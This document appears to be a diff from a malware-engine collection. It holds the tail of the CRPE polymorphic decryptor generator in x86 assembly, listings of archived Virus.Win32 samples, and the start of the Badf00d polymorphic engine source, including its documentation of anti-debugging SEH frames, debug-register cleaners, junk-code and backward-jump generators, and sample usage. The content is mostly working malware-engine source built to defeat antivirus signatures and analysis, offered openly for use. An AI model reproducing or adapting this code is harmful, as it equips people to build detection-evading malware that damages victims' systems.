mov al,02Bh ; Generate: SUB
|
||||
@write0: ;
|
||||
mov ah,bl ;
|
||||
stosw ; Write..
|
||||
|
||||
; Generate: MOV (REG32_4),(REG32_3)
|
||||
mov al,[ebp+2] ; EAX = [EBP+2] (Third value of AL)
|
||||
xor al,[ebp+1] ; XOR AL,[EBP+1](Second value of AL)
|
||||
xor al,[ebp] ; XOR AL,[EBP] (First value of AL)
|
||||
mov [ebp+3],al ; Save AL in temporary memory
|
||||
shl al,3 ; AL = AL * 8
|
||||
or al,[ebp+2] ; AL = AL + REG32_3
|
||||
or al,0C0h ; AL+= 0C0h
|
||||
xchg al,ah ; Exchange: AL <-> AH
|
||||
mov al,08Bh ; AL = 08Bh (MOV (r32),(r32) opcode)
|
||||
stosw ; Write...
|
||||
mov [ebp+0Ch],edi ; Save current position in temp. memory
|
||||
|
||||
; --- HASH BYTE ---
|
||||
|
||||
; Generate: XOR (REG32_3),MAGIC
|
||||
mov [ebp+8],edi ; Save current position in temp. memory
|
||||
mov al,bye [ebp+2] ; AL = REG32_3
|
||||
or eax,eax ; AL != 0 ?
|
||||
jnz @@normal_xor ; Normal version of XOR...
|
||||
or al,035h ; Optimized version for EAX
|
||||
stosb ; Write...
|
||||
jmp @@immed32_of_xor ; Jump to put an immed32
|
||||
@@normal_xor: ;
|
||||
or al,0F0h ; AL+= 0F0h
|
||||
mov ah,081h ; AH = 081h
|
||||
xchg ah,al ; Exchange: AH <-> AL
|
||||
stosw ; Write...
|
||||
@@immed32_of_xor: ;
|
||||
mov eax,[ebp+4] ; EAX = Saved "MAGIC" in temp. memory
|
||||
stosd ; Write...
|
||||
|
||||
; Generate: REG32_3_LO8 ^= BUF[COUNTER-1]
|
||||
mov al,032h ; XOR r8,mem opcode
|
||||
stosb ; Write...
|
||||
|
||||
mov al,bye [ebp+2] ; AL = REG32_3
|
||||
shl al,3 ; AL = AL * 8
|
||||
add al,44h ; Identify R8,LOW of REG32_3
|
||||
stosb ; Write...
|
||||
|
||||
mov al,[ebp] ; AL = REG32_1 \ Combination of registers
|
||||
shl al,3 ; AL = Ah * 8 / Generate: [REG32_2+REG32_1]
|
||||
add al,[ebp+1] ; AL+= REG32_2 /
|
||||
mov ah,0FFh ; Generate: -1
|
||||
stosw ; Write...
|
||||
|
||||
; Generate: ADD/OR (REG32_4),8
|
||||
xor ecx,ecx ;
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: ADD or OR
|
||||
xchg eax,ecx ;
|
||||
jecxz @add_ ;
|
||||
mov ah,8 ; Generate: OR
|
||||
@add_: ; Generate: ADD
|
||||
mov al,83h ;
|
||||
or ah,[ebp+3] ; AH = REG32_4
|
||||
or ah,0C0h ;
|
||||
stosw ; Write...
|
||||
mov al,8 ;
|
||||
stosb ; Write...
|
||||
mov [ebp+08h],edi ; Save current position in temp. memory
|
||||
|
||||
; --- HASH BIT ---
|
||||
|
||||
; TRASH or not
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: YES or NO
|
||||
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||||
jecxz @no_trash2 ; ECX = 0 ? So, dont put trash
|
||||
call CRPE_tg ; Put trash...
|
||||
@no_trash2: ;
|
||||
|
||||
; Generate: SHL [REG32_3],1
|
||||
mov al,0D1h ; SHL (REG),1 opcode
|
||||
mov ah,[ebp+2] ; AH = REG32_3
|
||||
or ah,0E0h ;
|
||||
stosw ; Write..
|
||||
|
||||
; Generate: SBB [REG32_3], [REG32_4]
|
||||
mov ah,[ebp+2] ; AH = REG32_3
|
||||
shl ah,3 ; AH = AH * 8
|
||||
add ah,[ebp+3] ; AH+= REG32_4
|
||||
add ah,0C0h ;
|
||||
mov al,01Bh ; AL = 01Bh (SBB opcode)
|
||||
stosw ; Write..
|
||||
|
||||
; Generate: DEC [REG32_4]
|
||||
mov al,[ebp+3] ; AL = REG32_4
|
||||
add al,048h ; AL+= 048h (DEC REG opcode)
|
||||
stosb ; Write..
|
||||
|
||||
; Generate: JNZ hash_bit (bit loop)
|
||||
mov eax,[ebp+08h] ; EAX = hash_bit position
|
||||
call CRPE_make_jnz ; Calcule the jump...
|
||||
|
||||
; Generate: DEC [REG32_2]
|
||||
mov al,[ebp+1] ; AL = REG32_2
|
||||
add al,048h ; AL+= 048h (DEC REG opcode)
|
||||
stosb ; Write..
|
||||
|
||||
; Generate: JNZ hash_byte (byte loop)
|
||||
mov eax,[ebp+0Ch] ; EAX = hash_bit position
|
||||
call CRPE_make_jnz ; Calcule the jump...
|
||||
|
||||
; --- DECRYPTOR INIT ---
|
||||
|
||||
; Generate: REG32_1 = Encrypted area
|
||||
mov al,08Bh ; AL = MOV opcode
|
||||
stosb ; Write..
|
||||
|
||||
@rnd_3: ; Choose another REG32_1
|
||||
push 3 ;
|
||||
call CRPE_rnd ; Get random number between 0-7
|
||||
cmp al,[ebp+2] ; AL = REG32_3 ?
|
||||
jz @rnd_3 ; So try again..
|
||||
cmp al,4 ; AL = ESP (4) ?
|
||||
jz @rnd_3 ; So try again..
|
||||
mov [ebp],al ; Save in temporary memory
|
||||
shl al,3 ; AL = AL * 8
|
||||
add al,044h ; AL+= 44h
|
||||
stosb ; Write..
|
||||
|
||||
mov ax,2024h ; AX = 2024h (ESP+20h)
|
||||
stosw ; Write..
|
||||
|
||||
; Generate: REG32_2 = Size of area - 4
|
||||
@rnd_4: ; Choose another REG32_2
|
||||
push 7 ;
|
||||
call CRPE_rnd ; Get random number between 0-7
|
||||
cmp al,[ebp+2] ; AL = REG32_3 ?
|
||||
jz @rnd_4 ; So try again..
|
||||
cmp al,[ebp] ; AL = REG32_1 ?
|
||||
jz @rnd_4 ; So try again..
|
||||
cmp al,4 ; AL = ESP (4) ?
|
||||
jz @rnd_4 ; So try again..
|
||||
mov [ebp+1],al ; Save in temporary memory
|
||||
add al,0B8h ; AL+= B8h (MOV opcode)
|
||||
stosb ; Write..
|
||||
|
||||
mov eax,[esp+CRPE_stack+arg2] ; EAX = immed32
|
||||
sub eax,4 ; EAX-= 4
|
||||
stosd ; Write..
|
||||
|
||||
; Generate: ADD [REG32_1] , [REG32_2]
|
||||
|
||||
mov ax,0C003h ; AX = ADD REG,REG opcode
|
||||
mov bl,[ebp] ; AL = REG32_1
|
||||
shl bl,3 ; Second reg..
|
||||
or bl,[ebp+1] ; REG32_2, first reg..
|
||||
or ah,bl ;
|
||||
stosw ; Write..
|
||||
|
||||
; --- DECRYPTOR LOOP ---
|
||||
|
||||
mov [ebp+04],edi ; Save current position in temporary mem.
|
||||
|
||||
; Generate: XOR [REG32_1],[REG32_3]
|
||||
mov al,031h ; XOR [DS:REG],REG opcode
|
||||
mov ah,[ebp+2] ; REG32_2
|
||||
shl ah,3 ; First reg
|
||||
add ah,[ebp] ; REG32_2, second reg
|
||||
stosw ; Write..
|
||||
|
||||
; Generate: XOR [REG32_3],[REG32_2]
|
||||
mov ah,[ebp+2] ; AH = REG32_3
|
||||
shl ah,3 ; AH = AH * 8
|
||||
add ah,0C0h ; AH+= C0h
|
||||
or ah,[ebp+1] ; AH+= REG32_2
|
||||
mov al,033h ; AL = 33h (XOR opcode)
|
||||
stosw ; Write..
|
||||
|
||||
; Generate some trash or not
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: YES or NO
|
||||
xchg eax,ecx ;
|
||||
jecxz @no_trash3 ;
|
||||
call CRPE_tg ;
|
||||
@no_trash3:
|
||||
|
||||
; Generate: DEC [REG32_1] ;
|
||||
mov al,[ebp] ; REG32_1
|
||||
add al,048h ;
|
||||
stosb ; write..
|
||||
|
||||
; Generate: DEC [REG32_2]
|
||||
mov al,[ebp+1] ; REG32_2
|
||||
add al,048h ;
|
||||
stosb ; write..
|
||||
|
||||
; Generate: JNS DECRYPTOR_LOOP
|
||||
mov eax,[ebp+4] ; EAX = DECRYPTOR_LOOP position
|
||||
call CRPE_make_jnz ; Calculate jump
|
||||
mov bye [edi-2],079h ; JNS
|
||||
|
||||
; --- TRASH + POPAD ---
|
||||
|
||||
; TRASH or not ;
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: YES or NO
|
||||
xchg eax,ecx ;
|
||||
jecxz @no_trash4 ;
|
||||
call CRPE_tg ;
|
||||
@no_trash4: ;
|
||||
|
||||
; Generate: POPAD
|
||||
mov al,061h ; AL = POPAD opcode
|
||||
stosb ; Write..
|
||||
|
||||
; --- TRASH + RET ---
|
||||
|
||||
; TRASH or not
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: YES or NO
|
||||
xchg eax,ecx ; Exchange: EAX <-> ECX
|
||||
jecxz @no_trash5 ; ECX = 0 ? So, dont put trash
|
||||
call CRPE_tg ; Put trash...
|
||||
@no_trash5: ;
|
||||
|
||||
; Generate: RET ;
|
||||
mov al,0C3h ; AL = 0C3h (RET opcode)
|
||||
stosb ; Write...
|
||||
|
||||
; Calculate return value & Unset memory & Restores regs & Return
|
||||
mov eax,[esp+CRPE_stack+arg3] ; EAX = Initial buffer
|
||||
sub edi,eax
|
||||
mov [esp+CRPE_tmp+STACK_REG._EAX],edi
|
||||
add esp,CRPE_tmp
|
||||
popad
|
||||
ret 18h
|
||||
|
||||
; Common rotine to calculate SHORT jnz's
|
||||
CRPE_make_jnz:
|
||||
inc edi ;
|
||||
inc edi ;
|
||||
sub eax,edi ; EAX-= Current position
|
||||
mov ah,075h ; AH = 75h (JNZ opcode)
|
||||
xchg ah,al ; Exchange: AH <-> AL
|
||||
mov [edi-2],ax ; Write..
|
||||
ret ; Return..
|
||||
|
||||
CRPE_make endp
|
||||
|
||||
;-------------------------------------------------------------------------------
|
||||
; INTERNAL FUNCTIONS, DONT WORRY ABOUT IT ;)
|
||||
;-------------------------------------------------------------------------------
|
||||
|
||||
; - Random number generator beetween 0-[Arg1]
|
||||
; Input: Arg1 = Range
|
||||
; Output: EAX = Random number
|
||||
|
||||
CRPE_rnd proc
|
||||
|
||||
pushad ; Save registers..
|
||||
|
||||
rdtsc ; CPU TIME-STAMP in EDX:EAX
|
||||
xor edx,esp ;
|
||||
xor eax,edx ;
|
||||
|
||||
mov ecx,[esp+STACK_REGS+4] ; ECX = Arg1
|
||||
inc ecx ;
|
||||
jecxz CRPE_rnd_fim ;
|
||||
|
||||
xor edx,edx ; EDX = 0
|
||||
div ecx ; EAX = EAX / Arg1
|
||||
mov eax,edx ; EAX = Rest
|
||||
|
||||
CRPE_rnd_fim:
|
||||
mov [esp+STACK_REG._EAX],eax
|
||||
|
||||
popad ; Restore registers..
|
||||
ret 4h ; Return..
|
||||
|
||||
CRPE_rnd endp
|
||||
|
||||
; - Trash generator (max.: 21 bytes | min.: 2 bytes)
|
||||
; Input: EDI = Buffer
|
||||
; Output: EDI = Buffer (updated)
|
||||
|
||||
CRPE_tg proc
|
||||
|
||||
pushad ; Save registers
|
||||
|
||||
push 3 ;
|
||||
call CRPE_rnd ; Get random number between 0-3
|
||||
|
||||
dec eax ;
|
||||
js @trash1 ;
|
||||
dec eax ;
|
||||
jz @trash2 ;
|
||||
dec eax ;
|
||||
jz @trash3 ;
|
||||
|
||||
; Generate: PUSH (REG Y) / POP (REG Y)
|
||||
@trash4:
|
||||
push 7 ;
|
||||
call CRPE_rnd ; Get random number between 0-7
|
||||
add al,50h ; Generate PUSH (REG)
|
||||
mov ah,al ;
|
||||
add ah,8 ; Generate POP (REG)
|
||||
stosw ; write..
|
||||
|
||||
push 1 ; Choose next trash routine...
|
||||
call CRPE_rnd ;
|
||||
xchg eax,ecx ;
|
||||
jecxz @trash2 ;
|
||||
|
||||
; Generate: MOV (REG X),(REG X)
|
||||
@trash3:
|
||||
push 7 ;
|
||||
call CRPE_rnd ; Get random number between 0-7
|
||||
mov bl,al ; BL = AL \
|
||||
shl al,3 ; AL = AL * 8 > Optimized for speed
|
||||
add al,bl ; AL+= BL /
|
||||
add al,0C0h ; AL+= 0C0h
|
||||
mov ah,08Bh ; Generater MOV (REG X),(REG X)
|
||||
xchg ah,al ; Exchange: AH <-> AL
|
||||
stosw ; write...
|
||||
|
||||
push 1 ; Choose next trash routine...
|
||||
call CRPE_rnd ;
|
||||
xchg eax,ecx ;
|
||||
jecxz @trash1 ;
|
||||
|
||||
; Generate: CMP/TEST (REG X),(REG Y)
|
||||
@trash2:
|
||||
push 03Fh ;
|
||||
call CRPE_rnd ; Get random number between 0-63
|
||||
xchg bl,al ; Exchange: BL <-> AL
|
||||
add bl,0C0h ; BL+= 0C0h
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: CMP or TEST
|
||||
or eax,eax ;
|
||||
jz @@_cmp ;
|
||||
@@_test: ;
|
||||
mov al,085h ; Generate: TEST opcode
|
||||
jmp @@write_trash_ ;
|
||||
@@_cmp: ;
|
||||
mov al,03Bh ; Generate: CMP opcode
|
||||
@@write_trash_: ;
|
||||
mov ah,bl ; AH = BL
|
||||
stosw ; Write...
|
||||
jmp @trash_end
|
||||
|
||||
; Generate: CALL (XXXX) | ESP-4
|
||||
@trash1:
|
||||
mov al,0E8h ;
|
||||
stosb ; Generate CALL opcode
|
||||
|
||||
push 8 ;
|
||||
call CRPE_rnd ; Get random number between 0-8
|
||||
inc eax ; EAX++
|
||||
stosd ; Generate imm32 of CALL
|
||||
|
||||
mov ecx,eax ; ECX = EAX (imm32)
|
||||
@@repeat_trash: ;
|
||||
push -1 ;
|
||||
call CRPE_rnd ; Generate random number in EAX
|
||||
stosb ; write al
|
||||
loop @@repeat_trash ; (ECX) times...
|
||||
|
||||
push 1 ;
|
||||
call CRPE_rnd ; Choose: ADD ESP,4 or
|
||||
xchg eax,ecx ; INC ESP / INC ESP / INC ESP / INC ESP
|
||||
jecxz @@4dec_esp ;
|
||||
|
||||
mov al,83h ;
|
||||
stosb ; Generate ADD ESP,4
|
||||
mov ax,04C4h ;
|
||||
stosw ;
|
||||
jmp @trash_end ; No more trash...
|
||||
|
||||
@@4dec_esp: ;
|
||||
mov eax,44444444h ; Generate INC ESP, 4 times
|
||||
stosd ;
|
||||
|
||||
@trash_end:
|
||||
mov [esp+STACK_REG._EDI],edi ; Update EDI...
|
||||
popad ; Restore registers
|
||||
ret ; Return...
|
||||
|
||||
CRPE_tg endp
|
||||
|
||||
; - Hashing
|
||||
; Input:
|
||||
; Arg1 = Pointer to data to hash
|
||||
; Arg2 = Size of data to hash
|
||||
; Arg3 = MAGIC
|
||||
; Outrput:
|
||||
; EAX = Hashed data
|
||||
|
||||
CRPE_hash proc
|
||||
|
||||
pushad ; Save regs.
|
||||
|
||||
mov edx,[esp+STACK_REGS+4] ; EDX = Buffer
|
||||
mov ecx,[esp+STACK_REGS+8] ; ECX = Size of buffer (byte counter)
|
||||
xor eax,eax ; EAX = 0 (reader / hasher)
|
||||
mov ebx,eax ; EBX = 0 (bit counter)
|
||||
|
||||
@@@hash_byte: ;
|
||||
xor eax,[esp+STACK_REGS+12] ;
|
||||
xor al,[edx+ecx-1] ;
|
||||
or bl,8 ;
|
||||
|
||||
@@@hash_bit: ;
|
||||
shl eax,1 ;
|
||||
sbb eax,ebx ;
|
||||
dec ebx ;
|
||||
jnz @@@hash_bit ; EBX != 0 ? Go to the next bit...
|
||||
|
||||
dec ecx ;
|
||||
jnz @@@hash_byte ; ECX != 0 ? Go to the next byte...
|
||||
|
||||
mov [esp+STACK_REG._EAX],eax ;
|
||||
|
||||
popad ; Restore regs.
|
||||
ret 0Ch ; Return...
|
||||
|
||||
CRPE_hash endp
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
BIN
Engines/Virus.Win32.Simple.7z
Normal file
BIN
Engines/Virus.Win32.Simple.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Spectr0.7z
Normal file
BIN
Engines/Virus.Win32.Spectr0.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Vpe.7z
Normal file
BIN
Engines/Virus.Win32.Vpe.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Xtg.7z
Normal file
BIN
Engines/Virus.Win32.Xtg.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Yad13.7z
Normal file
BIN
Engines/Virus.Win32.Yad13.7z
Normal file
Binary file not shown.
990
Engines/Virus.Win32.badf00d.asm
Normal file
990
Engines/Virus.Win32.badf00d.asm
Normal file
@ -0,0 +1,990 @@
|
||||
comment $
|
||||
|
||||
|
||||
\`. |\
|
||||
\`-. \ `.| \!,,
|
||||
\ \ `.\ _ (__
|
||||
_ `-.> \ ___ \ __ ------------------------------------------
|
||||
`-/,o-./O `. ._` Badf00d Polymorphic Engine
|
||||
-// j_ | `` _<` ------------------------------------------
|
||||
|\__( \--' ' \ . by Piotr Bania <bania.piotr@gmail.com>
|
||||
> _ `--' _/ ; http://pb.specialised.info
|
||||
| / `----.. . / (
|
||||
| ( `. Y )
|
||||
\ \ ,-.-.| |_ (_
|
||||
`.`.___\ \ \/=.`. __) a little bit of this,
|
||||
`--,==\ )==\,\ (_ a little bit of that
|
||||
,'\===`--'====\,\ `-.
|
||||
,'.` ============\,\ (`-'
|
||||
/`=.`Y=============\,\ .'
|
||||
/`-. `|==============\_,-._
|
||||
/`-._`=|=___=========,'^, c-)
|
||||
\`-----+' ._)=====_(_`-' ^-'`-.
|
||||
-----`=====, \ `.-==(^_ ^c_,.^ `^_\-----
|
||||
(__/`--'('(_,-._)-._,-.,__)`) hjw
|
||||
`-._`._______.'_.-'
|
||||
`---------'
|
||||
|
||||
|
||||
|
||||
|
||||
Disclaimer__________________________________________________________________________________]
|
||||
|
||||
Author takes no responsibility for any actions with provided informations or codes.
|
||||
The copyright for any material created by the author is reserved. Any duplication of
|
||||
codes or texts provided here in electronic or printed publications is not permitted
|
||||
without the author's agreement. If you disagree - leave now!
|
||||
|
||||
|
||||
|
||||
Introduction________________________________________________________________________________]
|
||||
|
||||
I must confess i was pretty bored and that's why i have written this engine. Meanwhile
|
||||
i was also thinking about some PE encrypter, so sooner or later i got to produce some
|
||||
poly engine for it. This little thingie was written in 2 days (few hours each day).
|
||||
Current version is super beta, drop me an mail if you will find any errors.
|
||||
|
||||
|
||||
|
||||
Features____________________________________________________________________________________]
|
||||
|
||||
+ SEH frames generator (int3/sti/cli exceptions, BPM removers (dr0-3 cleaners), random
|
||||
registry usage, random size of garbage block (return address is calculated via size
|
||||
of the generated junks), generated SEH block looks like this:
|
||||
|
||||
|
||||
* SNIP *
|
||||
00402814 E8 3D000000 CALL pol.00402856
|
||||
00402819 8BD4 MOV EDX,ESP ; generated REG
|
||||
0040281B 81C2 0C000000 ADD EDX,0C
|
||||
00402821 8B12 MOV EDX,DWORD PTR DS:[EDX]
|
||||
00402823 C782 04000000 00>MOV DWORD PTR DS:[EDX+4],0
|
||||
0040282D C782 08000000 00>MOV DWORD PTR DS:[EDX+8],0
|
||||
00402837 C782 12000000 00>MOV DWORD PTR DS:[EDX+12],0
|
||||
00402841 C782 16000000 00>MOV DWORD PTR DS:[EDX+16],0
|
||||
0040284B 8182 B8000000 05>ADD DWORD PTR DS:[EDX+B8],5 ; calcs return addr
|
||||
00402855 C3 RETN
|
||||
00402856 33C9 XOR ECX,ECX
|
||||
00402858 64:FF31 PUSH DWORD PTR FS:[ECX]
|
||||
0040285B 64:8921 MOV DWORD PTR FS:[ECX],ESP
|
||||
0040285E CC INT3
|
||||
0040285F AF SCAS DWORD PTR ES:[EDI]
|
||||
00402860 C8 50C933 ENTER 0C950,33
|
||||
00402864 C0648F 00 5A SHL BYTE PTR DS:[EDI+ECX*4],5A
|
||||
* SNIP *
|
||||
|
||||
As you can see doing only regswaping is not a good solution (still signature can be
|
||||
generated - look RegSwap virus description), prolly it is better to mix randomly SEH
|
||||
instructions with garbage. Use your imagination.
|
||||
|
||||
|
||||
+ safe garbage generator (generates stepable garbage code, moreover user can specyfi
|
||||
what registers should be used and what should be not, this feature gives an
|
||||
advantage to mix original code together with garbage code, without destroying the
|
||||
values from orginal one), like this snipet shows:
|
||||
|
||||
|
||||
* SNIP - ALL REGS ALLOWED *
|
||||
00402814 F7D2 NOT EDX
|
||||
00402816 D1D3 RCL EBX,1
|
||||
00402818 9B WAIT
|
||||
00402819 9B WAIT
|
||||
0040281A D1F9 SAR ECX,1
|
||||
0040281C 93 XCHG EAX,EBX
|
||||
0040281D 81C3 B9B1F0A8 ADD EBX,A8F0B1B9
|
||||
00402823 F9 STC
|
||||
00402824 81EF 73D13C4E SUB EDI,4E3CD173
|
||||
0040282A 3BC7 CMP EAX,EDI
|
||||
0040282C FD STD
|
||||
0040282D 2BC6 SUB EAX,ESI
|
||||
0040282F 57 PUSH EDI
|
||||
00402830 81C9 6FA7215F OR ECX,5F21A76F
|
||||
00402836 33F3 XOR ESI,EBX
|
||||
00402838 F7D8 NEG EAX
|
||||
0040283A 1BCE SBB ECX,ESI
|
||||
* SNIP - ALL REGS ALLOWED *
|
||||
|
||||
|
||||
* SNIP - ALLOWED EAX/EBX *
|
||||
00402814 F7DB NEG EBX
|
||||
00402816 F7D0 NOT EAX
|
||||
00402818 85C3 TEST EBX,EAX
|
||||
0040281A F8 CLC
|
||||
0040281B 90 NOP
|
||||
0040281C C7C3 BB153882 MOV EBX,823815BB
|
||||
00402822 F7D8 NEG EAX
|
||||
00402824 09DB OR EBX,EBX
|
||||
00402826 D1D3 RCL EBX,1
|
||||
00402828 D1D8 RCR EAX,1
|
||||
0040282A EB 00 JMP SHORT pol.0040282C
|
||||
0040282C 81EB 011DAF21 SUB EBX,21AF1D01
|
||||
00402832 81E8 3BB25C3B SUB EAX,3B5CB23B
|
||||
00402838 F8 CLC
|
||||
* SNIP - ALLOWED EAX/EBX *
|
||||
|
||||
|
||||
+ hardcore garbage generator (generates jmp over_garbage and generates garbage stepable
|
||||
or totaly randomized - this one will be never executed), like here:
|
||||
|
||||
|
||||
* SNIP - SOME GARBAGE CODE *
|
||||
00402810 EB 14 JMP SHORT pol.00402826
|
||||
00402812 CB RETF
|
||||
00402813 69A0 1C1E85D1 F9>IMUL ESP,DWORD PTR DS:[EAX+D1851E1C],886>
|
||||
0040281D F2: PREFIX REPNE:
|
||||
0040281E 4B DEC EBX
|
||||
0040281F 85FF TEST EDI,EDI
|
||||
00402821 198A 797CF6EB SBB DWORD PTR DS:[EDX+EBF67C79],ECX
|
||||
00402827 0C C8 OR AL,0C8
|
||||
* SNIP - SOME GARBAGE CODE *
|
||||
|
||||
|
||||
+ backwards jumps generator (generates some funny jumps :))
|
||||
|
||||
* SNIP *
|
||||
0040280C EB 3A JMP SHORT pol.00402848
|
||||
0040280E 33FE XOR EDI,ESI
|
||||
00402810 EB 3B JMP SHORT pol.0040284D
|
||||
00402812 AE SCAS BYTE PTR ES:[EDI]
|
||||
00402813 ^73 C8 JNB SHORT pol.004027DD
|
||||
00402815 71 13 JNO SHORT pol.0040282A
|
||||
00402817 90 NOP
|
||||
00402818 5E POP ESI
|
||||
00402819 C2 AFE0 RETN 0E0AF
|
||||
0040281C BB 8406103D MOV EBX,3D100684
|
||||
00402821 60 PUSHAD
|
||||
00402822 E5 77 IN EAX,77
|
||||
00402824 2AC4 SUB AL,AH
|
||||
00402826 59 POP ECX
|
||||
00402827 3E:5C POP ESP
|
||||
00402829 0E PUSH CS
|
||||
0040282A 67:73 7A JNB SHORT pol.004028A7
|
||||
0040282D AF SCAS DWORD PTR ES:[EDI]
|
||||
0040282E 27 DAA
|
||||
0040282F 0880 3B2E3EF3 OR BYTE PTR DS:[EAX+F33E2E3B],AL
|
||||
00402835 5D POP EBP
|
||||
00402836 52 PUSH EDX
|
||||
00402837 D9FB FSINCOS
|
||||
00402839 ^E1 BD LOOPDE SHORT pol.004027F8
|
||||
0040283B 4E DEC ESI
|
||||
0040283C 53 PUSH EBX
|
||||
0040283D 4D DEC EBP
|
||||
0040283E 62D6 BOUND EDX,ESI
|
||||
00402840 A7 CMPS DWORD PTR DS:[ESI],DWORD PTR ES:[ED>
|
||||
00402841 FF49 8C DEC DWORD PTR DS:[ECX-74]
|
||||
00402844 07 POP ES
|
||||
00402845 56 PUSH ESI
|
||||
00402846 7A 15 JPE SHORT pol.0040285D
|
||||
00402848 9B WAIT
|
||||
00402849 ^EB C5 JMP SHORT pol.00402810
|
||||
0040284B 6E OUTS DX,BYTE PTR ES:[EDI]
|
||||
0040284C 45 INC EBP
|
||||
* SNIP *
|
||||
|
||||
|
||||
TODO________________________________________________________________________________________]
|
||||
|
||||
+ code some multiple decryption routines (xlat/xor/etc. etc - backwards/forwards)
|
||||
+ add some checksum checker routines
|
||||
+ code new engine :))
|
||||
|
||||
|
||||
Sample_usage________________________________________________________________________________]
|
||||
|
||||
* SNIP *
|
||||
call random_setup ; set seed
|
||||
mov ecx,30 ; loop counter
|
||||
lea edi,temp_buff ; EDI = where to store
|
||||
gen_it:
|
||||
mov eax,3
|
||||
call random_eax ; give random
|
||||
cmp eax,0
|
||||
je skip_jmp
|
||||
|
||||
cmp eax,1
|
||||
je skip_sehs
|
||||
|
||||
call t_normalize_pops ; normalize stack before SEHs
|
||||
add edi,eax
|
||||
|
||||
call gen_seh ; generate SEHs
|
||||
add edi,eax ; add edi,generated_code_size
|
||||
skip_sehs:
|
||||
call gen_bjumps ; generate backwards jumps
|
||||
add edi,eax ; add edi,generated_code_size
|
||||
skip_jmp:
|
||||
mov eax,2
|
||||
call random_eax ; give random
|
||||
test eax,eax
|
||||
jnz gen_it2
|
||||
|
||||
call gen_garbage_i ; generate some stepable junk
|
||||
jmp loopers
|
||||
|
||||
gen_it2:
|
||||
call hardcode_garbage_i ; generate some hard junks
|
||||
|
||||
loopers:
|
||||
add edi,eax ; add edi,generated_code_size
|
||||
loop gen_it
|
||||
|
||||
|
||||
call t_normalize_pops ; normalize stack if it wasn't
|
||||
add edi,eax ; normalized
|
||||
* SNIP *
|
||||
|
||||
|
||||
|
||||
Have phun,
|
||||
Piotr Bania
|
||||
|
||||
|
||||
|
||||
|
||||
$
|
||||
|
||||
|
||||
M0_EAX equ 0
|
||||
M0_ECX equ 1
|
||||
M0_EDX equ 2
|
||||
M0_EBX equ 3
|
||||
M0_ESI equ 4
|
||||
M0_EDI equ 5
|
||||
|
||||
M1_EAX equ 0
|
||||
M1_ECX equ 1
|
||||
M1_EDX equ 2
|
||||
M1_EBX equ 3
|
||||
M1_ESI equ 6
|
||||
M1_EDI equ 7
|
||||
|
||||
|
||||
M2_EAX equ 0 shl 3
|
||||
M2_ECX equ 1 shl 3
|
||||
M2_EDX equ 2 shl 3
|
||||
M2_EBX equ 3 shl 3
|
||||
M2_ESI equ 6 shl 3
|
||||
M2_EDI equ 7 shl 3
|
||||
|
||||
; -------------- MAIN REGISTERS TABLES ----------------------------------------
|
||||
|
||||
x1_table: db M1_EAX
|
||||
db M1_ECX
|
||||
db M1_EDX
|
||||
db M1_EBX
|
||||
db M1_ESI
|
||||
db M1_EDI
|
||||
x1_tbl_size = $ - offset x1_table
|
||||
|
||||
x2_table: db M2_EAX
|
||||
db M2_ECX
|
||||
db M2_EDX
|
||||
db M2_EBX
|
||||
db M2_ESI
|
||||
db M2_EDI
|
||||
x2_tbl_size = $ - offset x2_table
|
||||
|
||||
|
||||
; -------------- INSTRUCTION TABLES -------------------------------------------
|
||||
; FORMAT: (1 BYTE) (BYTE) (BYTE) (BYTE)
|
||||
; <OPCODE> <MODRM> <LEN> <CSET>
|
||||
;
|
||||
; if there is no MODRM, MODRM must be set to 2Dh (temp)
|
||||
|
||||
NO_M equ 02dh
|
||||
C_NONE equ 0
|
||||
C_SRC equ 1
|
||||
C_DST equ 2
|
||||
C_BOTH equ 3
|
||||
|
||||
|
||||
|
||||
allowed_regs: db M0_EAX, M0_ECX, M0_EDX, M0_EBX, M0_ESI, M0_EDI
|
||||
instr_table: db 0f9h, NO_M, 1h, C_NONE ; stc
|
||||
db 0EBh, NO_M, 2h, C_NONE ; jmp $+1
|
||||
db 0c7h, 0c0h, 6h, C_SRC ; mov reg(EAX),NUM
|
||||
db 08bh, 0c0h, 2h, C_BOTH ; mov reg(EAX),reg(EAX)
|
||||
db 081h, 0c0h, 6h, C_SRC ; add reg(EAX),NUM
|
||||
db 003h, 0c0h, 2h, C_BOTH ; add reg(EAX),reg(EAX)
|
||||
db 081h, 0e8h, 6h, C_SRC ; sub reg(EAX),NUM
|
||||
db 02bh, 0c0h, 2h, C_BOTH ; sub reg(EAX),reg(EAX)
|
||||
db 040h, NO_M, 1h, C_SRC ; inc reg(EAX)
|
||||
db 048h, NO_M, 1h, C_SRC ; dec reg(EAX)
|
||||
_i_xor_r db 033h, 0c0h, 2h, C_BOTH ; xor reg(EAX),reg(EAX)
|
||||
db 009h, 0c0h, 2h, C_BOTH ; or reg(EAX),reg(EAX)
|
||||
db 081h, 0c8h, 6h, C_SRC ; or reg(EAX),NUM
|
||||
db 03bh, 0c0h, 2h, C_BOTH
|
||||
db 085h, 0c0h, 2h, C_BOTH
|
||||
db 01bh, 0c0h, 2h, C_BOTH ; sbb reg(EAX),reg(EAX)
|
||||
db 011h, 0c0h, 2h, C_BOTH ; adc reg(EAX),reg(EAX)
|
||||
db 0f7h, 0d0h, 2h, C_SRC ; not reg(EAX)
|
||||
db 0f7h, 0d8h, 2h, C_SRC ; neg reg(EAX)
|
||||
db 0d1h, 0f8h, 2h, C_SRC ; sar reg(EAX),1
|
||||
db 0d1h, 0d8h, 2h, C_SRC ; rcr reg(EAX),1
|
||||
db 0d1h, 0d0h, 2h, C_SRC ; rcl reg(EAX),1
|
||||
db 091h, NO_M, 1h, C_SRC ; xchg reg(EAX),reg(ECX)
|
||||
db 090h, NO_M, 1h, C_NONE ; nop
|
||||
db 0fch, NO_M, 1h, C_NONE ; cld
|
||||
db 0f8h, NO_M, 1h, C_NONE ; clc
|
||||
